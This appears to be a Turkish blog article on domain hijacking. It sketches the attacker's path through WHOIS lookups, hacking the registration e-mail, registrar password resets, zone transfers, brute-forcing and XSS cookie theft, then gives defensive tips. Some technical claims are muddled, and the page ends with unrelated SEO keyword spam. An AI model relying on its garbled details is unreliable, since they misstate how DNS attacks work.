Hedef olarak seçilen bir sistemi tamamen ele geçirmenin en sağlam yolu Domain Hack’tir. Sisteminizi hedefleyen bir saldırgan, öncelikli olarak Whois Sorgulamasıyapacaktır. Whois sorgulamasında Domain Registration Maili, irtibat Adresleri, gerçek e-Mail adresi, DNS bilgileri…vs gibi detaylarıgörecektir. İşin kilit noktasıda burasıdır.

Bu bilgiler alındıktan sonra gelebilecek saldırılardan korunmak için;

Domain Hi-Jacking saldırılarından korunmak için temel yöntem tedbirdir. şöyle ki; domain hacking’te temel yöntem registration e-mail hack’tir. Bu mail hacklendikten sonra, domainin tescil edildiği domain firmasından yeni şifre istenir. Ayrıca domainin geri alınmasınıengellemek için zone transfer yapılır. Kısacasıe-mail saldırısıyla eğer domaininiz alınırsa, bunu geri almak mümkün olmayabilir.

Ayrıca şifre güvenliğini sağlamak için en garanti yol, zor şifreler seçmektir. Örneğin; şifrenizin 123456 olduğunu varsayalım. Saldırgan belli bir şifre kombinasyonunu baz alarak saldırıyapan Brute Attack programlarıyla, domain şifrenizi çalmaya çalışacağızaman, daha ilk denemelerde bu şifreyi ele geçirebilir. Ama şifrenin %x-m4st3r?$x-Master% olduğunu düşünün. Böyle bir şifreyi deneme yanımlayla ele geçirme ihtimali hemen hemen yok gibidir.

Whois sorgusunda DNS bilgilerini gören Attacker, DNS sorgulaması($nslookup) yapacaktır. Burasıçok önemli bir noktadır. Eğer konfigürasyon hatasıyapılmışsa, Zone Transfer yapılabilir, Domain Hi-Jacking edilebilir. O yüzden bu noktaya dikkat edilmelidir.

Domain’lerin her alanda güvenilir olduğuna inandığınız halde domaininiz el değişiyorsa, Date Expire tarihlerini kontrol edin. Unutmuş olduğunuz domain Date Expire tarihi dolduğu zaman, farklıbir kullanıcıdomaininizi satın alabilir, legal olarak domain elinizden çıkmış olur. O yüzden bu detayıda atlamamak gerek.

Web uygulamalarında Domain Güvenliğinin en büyük bölümünü oluşturan Registration Mail güvenliği, Domain’lerin hacklenmesinin çoğunluklu nedenidir. Bu nedenle Registration Mailinizi koruyabilmek için;

-> Meraklıolmayın.. E-Mail’lerin ele geçirilmesinde yararlanılan bir diğer zaaf meraklılıktır hiç şüphesiz. Saldırgan size bir e-Mail yollayabilir. Bu e-Maillerde bir takım XSS kodlarıbulunabilir ve eğer kullandığınız e-Mail, hotmail.com gibi bir servisten alınmışsa Cookie bilgileriniz saldırganın eline geçebilir. Veya saldırganın gönderdiği e-Posta’da bir eklenti olduğunu varsayıyoruz. Bunu direk indirip açmak, aceleci davranmak, e-Mail hesabınızıkaybetmenize neden olabilir.

-> Gizli sorularınızın cevabınıalakasız yapın.. Gizli sorularınızın cevabını, sorduğunuz soruya karşılık olacak şekilde değil de, bağlantısız bir şeyler yapmaya özen gösterin. Zira saldırganın, tahmin gücünü düşürmede etkili olacaktır.

-> Sizden şifre soran hiçbir postayıyanıtlamayın.. Unutmayın ki, hiçbir mail servisi sizden şifrenizi sormayacaktır..

-> Size giriş yapmanız için sunulan sayfalarda ,browser’a bakın.. Bu yolla sitenin kime ait olduğunu görebilirsiniz.

-> Tanımadığınız kişilerden gelen dosyaları, mailleri açmayın ve mümkünse iyi bir güvenlik duvarıkullanın.

Powered by

Benzer Yazılar

Keywords: Internet Güvenliği , Internet Güvenliği şarkıları, Internet Güvenliği indir, Internet Güvenliği mtv.com.tr, Internet Güvenliği konfigirasyon, Internet Güvenliği , Internet Güvenliği bedava, Internet Güvenliği izlesene.com., Internet Güvenliği mp3 indir, Internet Güvenliği youtube, Internet Güvenliği klip izle, Internet Güvenliği izle, Internet Güvenliği yükle, Internet Güvenliği rapidshare.com, Internet Güvenliği şarkı sözleri, Internet Güvenliği akortlar,antivirüs